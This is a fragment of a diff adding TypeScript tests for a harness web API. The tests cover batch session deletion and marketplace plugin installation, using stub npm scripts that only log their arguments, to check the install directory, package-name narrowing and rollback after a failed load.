+    for (const path of [first, missing, stuck, last]) {
+      const pinned = await fetch(context.webServer.url + "/api/session/metadata", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ path, pinned: true }),
+      });
+      expect(pinned.status).toBe(200);
+    }
+
+    const response = await fetch(context.webServer.url + "/api/sessions/batch", {
+      method: "POST",
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ action: "delete", paths: [first, missing, stuck, last], confirm: true }),
+    });
+    expect(response.status).toBe(409);
+    await expect(response.json()).resolves.toMatchObject({ action: "delete", count: 3, failed: [{ path: stuck }] });
+    await expect(stat(first)).rejects.toMatchObject({ code: "ENOENT" });
+    await expect(stat(last)).rejects.toMatchObject({ code: "ENOENT" });
+    expect((await stat(stuck)).isDirectory()).toBe(true);
+    expect(JSON.parse(await readFile(join(directory, ".pi-harness-session-meta.json"), "utf8"))).toEqual({ [stuck]: { pinned: true } });
+  });
+
+  test("installs a marketplace package into the package that owns the profile rather than the launch directory", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-install-"));
+    temporaryDirectories.push(directory);
+    const harnessDir = join(directory, "harness");
+    const profileDir = join(harnessDir, "profile");
+    const workspace = join(directory, "workspace");
+    const shimDirectory = join(directory, "bin");
+    await mkdir(profileDir, { recursive: true });
+    await mkdir(workspace);
+    await mkdir(shimDirectory);
+    await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
+    const configPath = join(profileDir, "cordis.yml");
+    await writeFile(configPath, '- id: runtime\n  name: "@pi-harness/core/plugins/runtime"\n  config: {}\n', "utf8");
+    const npmLog = join(directory, "npm.log");
+    await writeFile(join(shimDirectory, "npm"), `#!/bin/sh\nprintf '%s|%s\\n' "$(pwd)" "$*" >> ${JSON.stringify(npmLog)}\n`, { mode: 0o755 });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "npm-install-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: workspace, agentDir: workspace, configPath, args: [], requestExit() {} });
+    const created: Array<{ name?: unknown }> = [];
+    context.reflect.provide("loader", {
+      entries: () => [],
+      create: (options: { name?: unknown }) => {
+        created.push(options);
+        return Promise.resolve("marketplace-entry");
+      },
+      resolve: () => ({ fiber: { await: () => Promise.resolve() } }),
+      remove: () => Promise.resolve(),
+    });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    let response: Response;
+    try {
+      response = await fetch(context.webServer.url + "/api/marketplace/install", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ id: "cordis-timer" }),
+      });
+    } finally {
+      process.env.PATH = originalPath;
+    }
+
+    expect(response.status).toBe(200);
+    await expect(response.json()).resolves.toMatchObject({ installed: true, plugin: { id: "cordis-timer" } });
+    const invocations = (await readFile(npmLog, "utf8")).trim().split("\n");
+    expect(invocations).toHaveLength(1);
+    const [invocationCwd, invocationArgs] = (invocations[0] ?? "").split("|");
+    expect(await realpath(invocationCwd ?? "")).toBe(await realpath(harnessDir));
+    expect(invocationArgs).toMatch(/^install --save-exact --package-lock=false @deepseek-ai\/cordis-plugin-timer@\d/);
+    expect(created).toHaveLength(1);
+    await expect(readFile(configPath, "utf8")).resolves.toContain('name: "@deepseek-ai/cordis-plugin-timer"');
+    await expect(stat(join(workspace, "package.json"))).rejects.toMatchObject({ code: "ENOENT" });
+  });
+
+  test("hands npm the package name rather than the deep import path the profile entry uses", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-subpath-"));
+    temporaryDirectories.push(directory);
+    const harnessDir = join(directory, "harness");
+    const profileDir = join(harnessDir, "profile");
+    const shimDirectory = join(directory, "bin");
+    await mkdir(profileDir, { recursive: true });
+    await mkdir(shimDirectory);
+    await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
+    const configPath = join(profileDir, "cordis.yml");
+    await writeFile(configPath, '- id: runtime\n  name: "@pi-harness/core/plugins/runtime"\n  config: {}\n', "utf8");
+    const npmLog = join(directory, "npm.log");
+    await writeFile(join(shimDirectory, "npm"), `#!/bin/sh\nprintf '%s\\n' "$*" >> ${JSON.stringify(npmLog)}\n`, { mode: 0o755 });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "npm-subpath-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: harnessDir, agentDir: harnessDir, configPath, args: [], requestExit() {} });
+    const created: Array<{ name?: unknown }> = [];
+    context.reflect.provide("loader", {
+      entries: () => [],
+      create: (options: { name?: unknown }) => {
+        created.push(options);
+        return Promise.resolve("marketplace-entry");
+      },
+      resolve: () => ({ fiber: { await: () => Promise.resolve() } }),
+      remove: () => Promise.resolve(),
+    });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    let response: Response;
+    try {
+      response = await fetch(context.webServer.url + "/api/marketplace/install", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ id: subpathPlugin.id }),
+      });
+    } finally {
+      process.env.PATH = originalPath;
+    }
+
+    expect(response.status).toBe(200);
+    await expect(response.json()).resolves.toMatchObject({ installed: true, plugin: { id: subpathPlugin.id } });
+    // `npm install @example-scope/toolkit/plugins/subpath@1.2.3` is not a specifier npm can resolve, so the deep import path must be narrowed to its package before it reaches the process.
+    expect((await readFile(npmLog, "utf8")).trim()).toBe("install --save-exact --package-lock=false @example-scope/toolkit@1.2.3");
+    expect(created).toEqual([expect.objectContaining({ name: "@example-scope/toolkit/plugins/subpath" })]);
+    await expect(readFile(configPath, "utf8")).resolves.toContain('name: "@example-scope/toolkit/plugins/subpath"');
+  });
+
+  test("removes the files npm created when the installed marketplace plugin fails to load", async () => {
+    const context = new Context();
+    contexts.push(context);
+    const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-npm-rollback-"));
+    temporaryDirectories.push(directory);
+    const harnessDir = join(directory, "harness");
+    const profileDir = join(harnessDir, "profile");
+    const shimDirectory = join(directory, "bin");
+    await mkdir(profileDir, { recursive: true });
+    await mkdir(shimDirectory);
+    await writeFile(join(harnessDir, "package.json"), '{ "name": "harness" }\n', "utf8");
+    const configPath = join(profileDir, "cordis.yml");
+    const profileBefore = '- id: runtime\n  name: "@pi-harness/core/plugins/runtime"\n  config: {}\n';
+    await writeFile(configPath, profileBefore, "utf8");
+    await writeFile(join(shimDirectory, "npm"), '#!/bin/sh\nprintf \'{ "lockfileVersion": 3 }\\n\' > "$(pwd)/package-lock.json"\n', { mode: 0o755 });
+    await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
+    const session = { sessionId: "npm-rollback-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
+    context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
+    context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
+    context.provide("piHarnessLaunch", { cwd: harnessDir, agentDir: harnessDir, configPath, args: [], requestExit() {} });
+    context.reflect.provide("loader", {
+      entries: () => [],
+      create: () => Promise.reject(new Error("plugin entry failed to load")),
+      remove: () => Promise.resolve(),
+    });
+    await context.plugin(apiPlugin);
+
+    const originalPath = process.env.PATH ?? "";
+    process.env.PATH = `${shimDirectory}:${originalPath}`;
+    let response: Response;
+    try {
+      response = await fetch(context.webServer.url + "/api/marketplace/install", {
+        method: "POST",
+        headers: { "content-type": "application/json" },
+        body: JSON.stringify({ id: "cordis-timer" }),
+      });
+    } finally {
+      process.env.PATH = originalPath;
+    }
+
+    expect(response.status).toBe(502);
+    await expect(response.json()).resolves.toEqual({ error: "plugin entry failed to load" });
+    await expect(readFile(configPath, "utf8")).resolves.toBe(profileBefore);
+    await expect(readFile(join(harnessDir, "package.json"), "utf8")).resolves.toBe('{ "name": "harness" }\n');
+    await expect(stat(join(harnessDir, "package-lock.json"))).rejects.toMatchObject({ code: "ENOENT" });
+  });
 });